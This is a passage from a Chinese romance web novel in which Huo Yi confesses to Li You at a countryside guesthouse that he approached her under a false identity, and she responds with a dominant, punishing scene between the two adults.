为了证明自己是处男,霍仪立马切去百度AI搜索有什么医学报告是能够出具处男证明资格。
居然没有?强人工智能都有可能诞生了,居然没有证明男人是处男的科学方法?
霍仪选择恨这个世界一秒。
怕李尤觉得他在犹豫,想方设法编造借口,霍仪忙不迭打字道:【小尤,我是处男。我没有交往过女朋友,你不信,我……可以让你验。】
隔了几分钟,霍仪心悬着忐忑,在万能的婚男论坛搜索“如何向女友证明自己还没被开过苞”“是处男的几个科学征兆”“女友需要验明正身”。
果然有很多经验贴可供霍仪参考。
霍仪头脑风暴中,李尤的消息弹出,轻飘飘地穿透霍仪:【我只是问问,你不用那么紧张。】
李尤发了见面地址和时间。
下午两点,在市郊某个山水景区旁,交通方便,开车坐地铁都能抵达。
霍仪吃了定心丸,小尤应该是懒得同他多言,相信了他是处男。
可他必须证明自己是处男啊!小尤千万不要因为这件事对他存有芥蒂啊,这件事必须沟通妥当。
-
准备时间很长,霍仪用激光仪脱了腿毛,连大腿和隐/私/部位都没有放过,虽然小尤已经看过了他全身,但若是最近私.处长得太丑的话,观感不佳。
想起婚男圈子里的大哥们说粉色保温杯是最好的证明方式,用得少,色素自然囤积少。
霍仪红了脸,脱完毛,裹着浴袍出去擦身体乳。
入秋了,穿西装四件套也不奇怪。
霍仪选了皮马棉质地的衬衫,比起一般棉质衬衫,这种质感更硬挺,修理出肩线。皮马棉也很厚实,能够保证在激凸和戴乳扣的情况下,霍仪也不会凸点。
他配了藏蓝绣金花的斜纹领带,打了半温莎结,领结束缚到衣领正下方,外套和西裤在昨日找门店熨帖,纯黑色泽,面料丝滑,贴身到没有一丝不雅的褶皱。
左手腕戴上机械表,齿轮精致,碎钻闪耀,右手腕戴上母亲求来的佛珠手链,鼻梁再架上防雾的金丝框眼镜。
霍仪用食指扶着眼镜,对自己的形象还算满意。
美中不足的是有些沉闷,像去参加会议一样正式。
不过他相信李尤会喜欢这种紧绷的精英感,如果岔开腿朝她跪下,她会踩上来么?
霍仪不愿想多了,那会造成他的紧张。
还有最后一项要做:一个男人的得体程度,与他的鞋品紧密相关。只有上半身的精致不够,细节会暴露真实的品味。
霍仪穿上锃亮的皮鞋和薄透出健朗踝骨的纯黑丝袜。这才把他装点到贵气矜庄,难以侵犯,他握住手腕调整表带,文质彬彬的禁欲中又带点骁悍的性感。
拉上昨晚准备好的登机箱,里面是他给李尤的惊喜,霍仪开车出了门。
-
和霍仪见面的民宿是李尤在预订。
最近酒店爆出太多摄像头事件,李尤肯定不会把见面地点放在酒店。
去对方和她自己家更不合适,去她家,还没有和霍仪熟到可以让他进自己的家门的地步。去对方家,她是挺熟悉,可她也不完全信任霍仪,总有被男友老公偷拍的新闻出行,留个心眼不会错。
家庭民宿是个好选择,风景好,依山傍水有的玩,价钱还比订星级酒店便宜,最主要李尤关上门后,可以自己检查线路,确保隐私安全。
她很早便骑摩托到了租的民宿,为了熟悉环境,把控在自己手中。
家庭民宿类似别墅,大概率是自建房,李尤定的一层,只订了一天,秋天进入淡季,没人订其他层。
院子空落干净,外围种了一圈简约的黄雏菊和三角梅,横亘着一架木头秋千,床单是新换上的,存留着洗衣液的熏香。
李尤沏了壶果茶,在外面晒太阳,又去周边古镇闲逛,买了些小吃。
霍仪打着方向盘,老远便在导航提示的终点,看见一个穿着休闲外套的女人慵懒地躺在躺椅上阖目修养。
雾黑的齐刘海碎在额前,阳光洒在她半垂的手臂,她以一种崎岖的角度曲折脖颈,侧脸静穆庄严,犹如神圣教堂里抱着婴儿的圣母像。
茶盘立在她身前,她刚才应该是在慢悠喝茶。
直觉告诉霍仪,那是李尤。
霍仪想逃跑了。
他还没做好准备见小尤。
可方向盘没控住,车还在驶往民宿小院的方向。
车轮发出碾压石子的动静,霍仪似乎和车身共体,细致地感受到石子硌在皮肤的不舒适。
他真的好想逃。
可瞬间,李尤睁开了眼,深邃的眼瞳直勾勾地囊括住了挡风玻璃内霍仪的慌张。
李尤的神情几乎在瞬间冷峻了下来,高山般散发寒气。
霍仪咽了口水,把车停下,提着行李下了车。
他怔怔地站在秋日的阳关下,也不知道说什么好,此刻冷得发慌。
想开口道歉,李尤已经转身走进民宿内,霍仪抿着唇,跨出大步跟上。
“洗刷我很好玩?”李尤沉着气问。
她说的是方言,洗刷在她们这边是欺骗愚弄,开无聊玩笑逗人闷子的意思。
“我没想过愚弄你。”霍仪躬身低下头,“我不是故意的,小尤,我怕——”
李尤打断了他:“那你是出于什么目的?”
打开玄关前的日光灯,李尤冷笑,“霍意。还是该叫你霍仪?”
小尤,知道他的真名了。
“我那次见你——”
李尤轻轻摆手,霍仪随即乖乖抿着唇止声。
李尤食指向下点点,霍仪看了眼沙发处光洁的地板,李尤在那里预先放了一个抱枕。
好像她早就预料到霍意是霍仪,知道霍仪犯的错事了。
“要怎么做啊?”霍仪茫然地睁大眼睛问。
“你说呢?”李尤抱着手臂,隐隐更生气了。
又在装纯。
她明明见过他在家里的居家打扮,他更喜欢舒适随意的衣服。
现在他西装革履,打扮成斯文败类的精英,鬓角剪裁,香水芬芳,又是腕表,又是佛珠,人模狗样。他穿成这样来见她,又不是见客户商谈,那不就意味着他想挨操?
李尤皱了眉,坐回沙发。
看来他没有意识到事情的严重性。
霍仪看了眼地上的抱枕,再看了眼沉默喝水的李尤,她没有同他讲话,似乎很生气。
霍仪缓缓把西装外套的纽扣解下,腰身被西装马褂收勒得精窄,上半身的胸肌硕大,他提了下紧绷的西装裤腿,露出瘦削细长的脚踝关节,岔开腿,什么也没说朝李尤缄然跪下。
李尤瞥了眼霍仪,还是没说话。
她订这个民宿,远离人多的嘈杂。
解释重要,也不那么重要,解释只是向她臣服的态度问题。
猫咬坏了帘子,人也听不懂他摇着尾巴磨,蹭着小腿的喵喵叫声,可不妨碍,小猫接受惩罚。
李尤打开了民宿的液晶电视,选了一个频道播放,她眉头蹙得更紧。
怎么看个电视现在要付费播放?
霍仪以为李尤全然在生他的气,气氛很凝重,他不敢开口解释,李尤没有给他可以开口说话的信号。
霍仪磨蹭着膝盖过去,用下巴轻轻蹭着李尤的膝盖骨,她穿了一条米白阔腿裤,全身是很舒服的打扮,霍仪把脑袋枕在李尤的膝盖上,侧着脸看李尤。
李尤没推开他。
也没有直接甩他一巴掌走掉。
霍仪觉得这是非常积极的信号。
她没有躲开,没有扇他巴掌,叫他滚,没有怒目而视,反而是任由他的行为发生。按她的性格,如果真的生气,自己绝对不会好受,挨一巴掌是小,被提着领子拖到车后备箱挨打也有可能吧。
霍仪可是第一次见面就见过李尤用酒瓶给男人脑袋开瓢。
她不是忍人。
霍仪觉得李尤在给他机会。
但是什么时候是机会得霍仪自己判断。
霍仪的自己的唇吻在李尤的膝盖骨上,吊着眼梢盯着李尤,好像全世界只剩下了李尤。
他盯了会儿李尤。
李尤反手扣住霍仪的下颌,说:“霍、仪。你非要这样?”
“我可以解释。”霍仪战战兢兢。
刚才他还很大胆地隔着布料用唇面触碰李尤的膝盖骨。
“那你解释。我听听看。”李尤抱着手臂后仰,懒散地窝进沙发。
霍仪从头至尾地解释,初次见面是在烧烤摊,李尤可能记不得那是他,第二次是偶然,他真不知道李尤是做家电维修服务,那时候他就知道她的名字了。宋湘唤了她几次李尤。
第三次是他想让她换灯。
他没有缠着她的意思,在X大偶遇她打篮球那天,是他刚开完会下班去超市买菜做饭。
纯属偶然。
“打篮球?”李尤点了下霍仪的额头,像点住买来机械情人的控制按钮。
霍仪止了声,又解释:“就是我们第一次在会所见面那天,你和你的朋友们在东区2-4操场打篮球。有很多年轻学生,不对,反正就是你的同龄人那次。”
李尤想起来了,是和小岳约局的那次。
“继续。”
霍仪又往下解释,他去超市买菜,撞见李尤也逛超市,这次是他不
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对,他跟着李尤走上了楼。
霍仪打量李尤的神情,好像也没有很动怒,或者感到恶心。
他解释下去,进入会所后,他被宋老板拦住问找人还是面试,当时心慌,又好奇李尤到底进来做什么,便说了面试。第一次做男模是被派去李尤房间陪酒。之后李尤退了房,他也走掉了,没有多停留一秒。
他只是好奇李尤进入会所做什么,没有想过后续会发生面试做男模的事。
霍仪偷偷觑着李尤,幸好李尤没有问他:如果安排去其他包间,陪了其他客户怎么办。
“装作另外的人,接近我很好玩?”
霍仪不知道该摇头,还是点头。他不希望和李尤产生矛盾,他没有恶意,当然作为暗恋的梦男来说,有点恶心了。
霍仪没有抱住李尤的膝盖,只是用手扶住沙发两旁,求着原谅:“我不是为了玩。我和你不是没可能么?如果我加你微信,同你告白,你也会觉得我这样一男的很神经,很性缘脑,见了个女的就发烧。自以为是来同你说喜欢,你会烦我,讨厌我。你烦我,我和你就断了。所以我不敢用现实的那面接触你,你知道我是你的客户,你肯定会拒绝我。我们之后就没联系了。”
“用另外一层身份,你才待见我。”
“我不知道要怎么和你能够认识?没去会所前,我有你工作号的微信,我本来打算,经常叫你做做单子,等个几年,我们成为朋友也挺好。”
“我做错了,但是我也不后悔。真的,我昨晚想了一夜,小尤,我知道我恶心,可如果你问我后悔做这一切么?我不后悔,我不主动,我不给你发照片,你甚至都不会知道我的名字。我在你的世界里,就像是河底的鹅卵石,你每天从我身边路过,可是却不会正眼瞧见我。”
“但现在你认识了我,你还……很喜欢我。”霍仪认为喜欢身体也是喜欢,喜欢他发烧,怎么不是喜欢他呢?
“我们相处过一段时间,你对我笑,和我吃一顿晚餐,我都会永远记得。不管我们以后还能不能见面,我还是庆幸我那样做了。”
霍仪一口气说完,把想说的全说的,默默低颔着头颅,他喉头在哽咽,控制不住眼圈酸涩。
“嗯。”李尤听完说。
霍仪不解地抬头,嗯是什么意思?
“那小尤是原谅我了?”霍仪问。
猛地,霍仪的手腕被李尤捉住,把他从地上拽了起来,摔进了沙发。
霍仪没想到李尤的力气能大到提起他的地步,一时有些无措的惶乱。
“小尤……”
李尤弓身欺近,扣住霍仪的下颌,居高临下地俯视着他:“我什么时候说过原谅了?”
“那要怎么——”霍仪的声音戛然而止,李尤捂住了他单薄的唇肉,她目光下移,凝结在霍仪马甲前的胸口处,那里湿润出两圈诡异的深色,比黑色更深黑地浸润着。
有什么东西顶起着马甲上裁线笔直的方巾袋。
李尤记得霍仪一直跪着,茶几上也没有茶水倾倒了。
“唔——”
被李尤盯着胸前的口袋,霍仪羞得要死。
他向窗外撇开脸,却不自觉挺起了胸骨。
李尤用手指拂过,霍仪颤抖,吹胀的气球似的,鼓起又蔫落,霍仪呼吸变得一重,他头颅藏进沙发内侧垂下,发丝掩盖睫毛下狼狈濡湿的眼眸。
“唔——小尤——别——”
李尤用拇指碾过,用指腹探究,是霍仪衬衫内的纽扣。
但指腹碾过之后,霍仪的表情流露出难捱的疼痛,在李尤狐疑着眼神,撤离手指时,衬衫外的马甲洇湿的部位扩大了。
“你……”李尤迟疑着问,“怎么回事?”
“你喜欢吗?我吃了点药。上次你说喜欢,我就开始吃了。”霍仪捉住李尤扯离的手,沿着马甲底部往上触摸,他尽量让自己的后背贴着沙发,敞开所有的躯体和缺弱,以便于李尤的心进入。
李尤咽着喉头,手触碰上男人发出邀约的柔软心脏,捏在掌心中,但更生气了。
李尤甩开霍仪,什么也没说。
反手,换她捉住霍仪的手腕,她站起身,把男人从沙发上拉起来,在霍仪还没反应过来的瞬间,将他翻了个身,前胸朝着沙发,后背对着李尤。
李尤扣住霍仪的手腕,膝盖骨抵在霍仪的膝弯处,俯身将他压制在沙发上。
她的动作迅猛又无预告,给霍仪的感受就像他是觅食的野兔被俯冲过来的猎豹用兽爪死死按在地上,等待霍仪的是命运的终结。
“你真以为仗着这些,我就会原谅你?不生气了么?”
霍仪还没道歉解释,胯骨被李尤的另一只手掌扶起,臀部翘起,霍仪的臀肉狠狠挨了几巴掌。
李尤没下狠手,可霍仪生理性的眼泪还是涌出,霍仪咬着唇肉,被比自己年纪小的女孩……羞惭的疼痛中他绞住了大腿。
“小尤……别欺负我。”